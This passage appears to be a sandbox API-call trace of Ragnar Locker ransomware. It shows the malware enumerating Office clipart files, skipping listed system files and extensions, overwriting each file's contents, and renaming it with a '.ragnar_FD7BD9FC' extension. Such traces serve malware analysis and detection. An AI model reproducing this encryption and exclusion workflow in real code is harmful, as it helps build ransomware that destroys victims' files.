Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.342] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1 [0089.342] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.343] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_07.MID" | out: lpString1="PARNT_07.MID") returned="PARNT_07.MID" [0089.343] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned=".MID" [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="autorun.inf") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="boot.ini") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="bootfont.bin") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="bootsect.bak") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="bootmgr") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="bootmgr.efi") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="bootmgfw.efi") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="desktop.ini") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="iconcache.db") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="ntldr") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="ntuser.dat") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="ntuser.dat.log") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="ntuser.ini") returned 1 [0089.343] lstrcmpiW (lpString1="PARNT_07.MID", lpString2="thumbs.db") returned -1 [0089.343] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.343] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.343] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.343] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.343] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.343] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.343] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0089.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.344] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6564) returned 1 [0089.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x199b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.344] GetProcessHeap () returned 0x580000 [0089.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.344] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.345] VirtualAlloc (lpAddress=0x0, dwSize=0x19a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.346] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.346] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19a4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19a4, lpOverlapped=0x0) returned 1 [0089.349] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.349] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.349] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19a4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19a4, lpOverlapped=0x0) returned 1 [0089.349] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.349] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.350] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.350] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.350] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.350] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.350] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.350] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.350] GetProcessHeap () returned 0x580000 [0089.350] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.350] CloseHandle (hObject=0xf4) returned 1 [0089.350] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" [0089.350] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.ragnar_FD7BD9FC" [0089.350] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.351] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1 [0089.351] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.351] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_08.MID" | out: lpString1="PARNT_08.MID") returned="PARNT_08.MID" [0089.351] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned=".MID" [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="autorun.inf") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="boot.ini") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="bootfont.bin") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="bootsect.bak") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="bootmgr") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="bootmgr.efi") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="bootmgfw.efi") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="desktop.ini") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="iconcache.db") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="ntldr") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="ntuser.dat") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="ntuser.dat.log") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="ntuser.ini") returned 1 [0089.351] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="thumbs.db") returned -1 [0089.352] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.352] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.352] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.352] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.352] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.352] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.352] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0089.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.352] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7347) returned 1 [0089.352] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1caa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.352] GetProcessHeap () returned 0x580000 [0089.352] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.352] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.364] VirtualAlloc (lpAddress=0x0, dwSize=0x1cb3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.365] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1cb3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1cb3, lpOverlapped=0x0) returned 1 [0089.366] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.366] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb3, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.366] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1cb3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1cb3, lpOverlapped=0x0) returned 1 [0089.366] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.366] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.366] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1cb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.366] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.366] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.366] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.366] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.367] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.367] GetProcessHeap () returned 0x580000 [0089.367] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.367] CloseHandle (hObject=0xf4) returned 1 [0089.367] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" [0089.367] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.ragnar_FD7BD9FC" [0089.367] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.368] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1 [0089.368] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.368] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PARNT_09.MID" | out: lpString1="PARNT_09.MID") returned="PARNT_09.MID" [0089.368] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned=".MID" [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="autorun.inf") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="boot.ini") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="bootfont.bin") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="bootsect.bak") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="bootmgr") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="bootmgr.efi") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="bootmgfw.efi") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="desktop.ini") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="iconcache.db") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="ntldr") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="ntuser.dat") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="ntuser.dat.log") returned 1 [0089.368] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="ntuser.ini") returned 1 [0089.369] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="thumbs.db") returned -1 [0089.369] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.369] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.369] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.369] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.369] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.369] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.369] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0089.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.370] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6764) returned 1 [0089.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.370] GetProcessHeap () returned 0x580000 [0089.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.370] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.371] VirtualAlloc (lpAddress=0x0, dwSize=0x1a6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.371] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a6c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a6c, lpOverlapped=0x0) returned 1 [0089.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.372] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a6c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a6c, lpOverlapped=0x0) returned 1 [0089.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.373] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.373] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.373] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.373] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.373] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.373] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.373] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.373] GetProcessHeap () returned 0x580000 [0089.373] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.373] CloseHandle (hObject=0xf4) returned 1 [0089.373] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" [0089.373] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.ragnar_FD7BD9FC" [0089.373] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, 